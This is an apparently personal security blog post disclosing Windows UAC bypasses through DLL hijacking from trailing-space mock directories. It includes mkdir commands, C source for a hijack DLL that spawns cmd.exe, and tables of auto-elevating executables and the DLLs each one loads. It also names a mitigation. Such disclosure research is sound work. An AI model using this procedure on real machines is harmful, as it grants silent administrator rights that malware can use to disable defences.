UAC bypass via dll hijacking and mock directories

July 30, 2020

UAC bypass via dll hijacking and mock directories

tl;dr: I discovered multiple UAC bypass methods following the ideas of Wietze Beukema and David Wells

UAC - User Account Control

Microsoft introduced UAC (User Account Control) with Windows Vista and Windows Server 2008. Here is a nice description from wikipedia:

It aims to improve the security of Microsoft Windows by limiting application software to standard user privileges until an administrator authorizes an increase or elevation. In this way, only applications trusted by the user may receive administrative privileges, and malware should be kept from compromising the operating system. In other words, a user account may have administrator privileges assigned to it, but applications that the user runs do not inherit those privileges unless they are approved beforehand or the user explicitly authorizes it.

More information can be found here: Wikipedia

DLL HIJACKING

dll hijacking -> A short description could be "When an application loads .dll files it should not load". But I think Wikipedia provides a better description Wikipedia

MOCK DIRECTORIES

Mock directories are folders with a trailing space. For example "C:\Windows \System32" -> See the space " " between "Windows" and "\System32". I use Powershell to create mock directories which comes with one restriction: A mock directory must include a sub directory! Using the example above:

It is not possible to create "C:\Windows "

But it is possible to create "C:\Windows \System32"

It is not possible to create mock directories via Windows Explorer by simply creating a new folder. But there are ways to create this type of folder in Windows 10:

CMD: md "\\?\C:\Windows \System32"
Powershell: New-Item "\\?\C:\Windows \System32" -ItemType Directory

There are even more ways to create mock folders but CMD and Powershell are easy to use.

USING MOCK DIRECTORIES TO HIJACK DLL FILES

During the last weeks I came across a nice article about dll hijacking using legitimate Windows executables by Wietze Beukema: https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows

Wietze listed all Windows executables which are candidates for dll hijacking. He also listed the dll files and entry points of those files. For example for "winsat.exe" he discovered that it could by used to bypass UAC by loading one of seven different .dll files:

I was really impressed by the huge amount of possibilities he discovered! He also created a proof of concept:

Create mock folder "C:\Windows \System32"
Copy original winsat.exe from "C:\Windows\System32" to "C:\Windows \System32"
Copy malicious .dll file with filename "dxgi.dll" into mock folder
Run winsat.exe from mock folder

This example is described in his post https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows -> I highly recommend reading this post.

He also described that he (re)wrote dll files to get a working UAC bypass. But I am not a programmer and therefore I cannot (re)write dll files (*see personal note at the bottom of this post). But I found some templates that can be used at GitHub. However these templates are only a few files. And many of the files Wietze used are not available as a template. In the past I used the template for "version.dll" and just renamed it to hijack another .dll file http://daniels-it-blog.blogspot.com/2020/07/iobit-malware-fighter-arbitrary-code.html. So I decided to follow Wietze´s approach but to add some modifications due to my limited access to dll files.

Getting started

To get a first overview I started with a simple google search about auto elevated executables in "C:\Windows\System32". Unfortunately I couldn´t find a complete list. So I did what Wietze did and copied all 616 executables (*.exe in system32) into the mock directory "C:\Windows \System32".

Then I modified the existing template of "version.dll" (GitHub) to spawn a cmd shell:

#include "pch.h"

#include "prxdll.h"

#include "windows.h"

BOOL APIENTRY DllMain(

const HINSTANCE instance,

const DWORD reason,

const PVOID reserved)

{

switch ( reason ) {

case DLL_PROCESS_ATTACH:

WinExec("cmd.exe", 1);

DisableThreadLibraryCalls(instance);

return prx_attach(instance);

case DLL_PROCESS_DETACH:

prx_detach(reserved);

break;

}

return TRUE;

}

After compiling version.dll I copied it into the mock folder "C:\Windows \System32".

Now I had over 600 executables and only .dll file. Executing every file and hoping that it would maybe load "version.dll" doesn´t seem a clever approach to me but I decided to try it anyway. To see which .dll files are loaded by an executable I used Process Monitor from the sysinternal suite. After executing some files I noticed that file "profapi.dll" is loaded by some executables (in my case "ComputerDefaults.exe"). By just renaming "version.dll" to "profapi.dll" I was able to get a administrative CMD shell. So I searched Wietze´s list for "profapi.dll" and found nothing:

I was pretty surprised so I searched for "version.dll" with the same result:

I couldn´t find any information about a UAC bypass method using "ComputerDefaults.exe" and "profapi.dll". But it works:

Checking files

After this success I checked every .exe in file in "C:\Windows\System32":

Create mock folder "C:\Windows \System32"
Place "version.dll" and "profapi.dll" into "C:\Windows \System32"
Copy each .exe file from "C:\Windows\System32" to "C:\Windows \System32"
Execute exe file
Check if administrative shell is launched

By checking every file this way I got the following results:

Executable	DLL	Comment
ComputerDefaults.exe	profapi.dll	Can also bypass UAC using other methods.
EASPolicyManagerBrokerHost.exe	profapi.dll
fodhelper.exe	profapi.dll	Opens settings and can be used to bypass UAC using other methods
FXSUNATD.exe	version.dll
msconfig.exe	version.dll	Can also bypass UAC using other methods
OptionalFeatures.exe	profapi.dll	Opens Windows Optional Features
sdclt.exe	profapi.dll	Can also bypass UAC using other methods; opens Windows Backup
ServerManager.exe	profapi.dll	ServerManager.exe is not present by default
systemreset.exe	version.dll
sysprep.exe	version.dll	Creates sub folder. Sysprep process has to be killed directly after UAC bypass, otherwise sysprep is executed!
SystemSettingsAdminFlows.exe	version.dll
WinSAT.exe	version.dll
WSReset.exe	profapi.dll	Opens Windows Store

Proof of Concept

Mitigation

Setting UAC to the highest level (Always Notify) will show a UAC prompt before execution

What I also found...

I tried some of the files Wietze described like Taskmgr.exe. But I was only able to load a dll successfully when using x86 dll files. To get a working UAC bypass without using the files I had already tried I got these results. Please note that these files are usually located in "C:\Windows\WinSxS" but they will also work in "C:\Windows \System32" (mock folder):

Executable	DLL	Comment
SystemPropertiesAdvanced.exe	winsta.dll	x86 dll winsxs
SystemPropertiesComputerName.exe	winsta.dll	x86 dll winsxs
SystemPropertiesDataExecutionPrevention.exe	winsta.dll	x86 dll winsxs
SystemPropertiesHardware.exe	winsta.dll	x86 dll winsxs
SystemPropertiesPerformance.exe	winsta.dll	x86 dll winsxs
SystemPropertiesProtection.exe	winsta.dll	x86 dll winsxs
SystemPropertiesRemote.exe	winsta.dll	x86 dll winsxs
Taskmgr.exe	d3d11.dll	x86 dll winsxs

What else can an attacker do?

Software Restriction Policies (SRP) https://docs.microsoft.com/en-us/windows-server/identity/software-restriction-policies/software-restriction-policies can be bypassed. For instance SRPs are used by "Hard Configurator" https://hard-configurator.com to harden the system.

Microsoft about UAC

Source: https://www.microsoft.com/en-us/msrc/windows-security-servicing-criteria

Defense-in-depth security features

In some cases, a security feature may provide protection against a threat without being able to provide a robust defense. These security features are typically referred to as defense-in-depth features or mitigations because they provide additional security but may have by design limitations that prevent them from fully mitigating a threat. A bypass for a defense-in-depth security feature by itself does not pose a direct risk because an attacker must also have found a vulnerability that affects a security boundary, or they must rely on additional techniques, such as social engineering to achieve the initial stage of a device compromise.

The following table summarizes the defense-in-depth security features that Microsoft has defined which do not have a servicing plan. Any vulnerability or bypass that affects these security features will not be serviced by default, but it may be addressed in a future version or release. Many of these features are being continuously improved across each product release and are also covered by active bug bounty programs.

In some cases, defense-in-depth security features may take a dependency that will not meet the bar for servicing by default. As a result, these defense-in-depth security features will also not meet the bar for servicing by default. An example of this can be observed with Shielded Virtual Machines which takes a dependency on an administrator not being able to compromise the kernel or a Virtual Machine Worker Process (VMWP) which is protected by Protected Process Light (PPL). In this case, Administrator-to-Kernel and PPL are not serviced by default.

Category	Security feature	Security goal	Intent is to service?	Bounty?
User safety	User Account Control (UAC)	Prevent unwanted system-wide changes (files, registry, etc) without administrator consent	No	No

Personal Note

Many vendors don´t see a problem when UAC is involved. But I showed http://daniels-it-blog.blogspot.com/2020/07/arbitrary-file-delete-via-wsresetexe.html that this type of vulnerability affects all (non enterprise) end users. Malware can use a UAC bypass to run with highest privileges incl. deactivation of Anti Virus products. With so many unpatched UAC bypass methods it is almost impossible for Anti Virus software to detect them all.

I am doing IT security research during my free time. I spend a weekend doing the research and writing this article. I don´t earn money with my research or this blog etc.

Thanks to my wife for her support when I do my "crazy IT stuff" (her words)

Search This Blog

Another IT Security Blog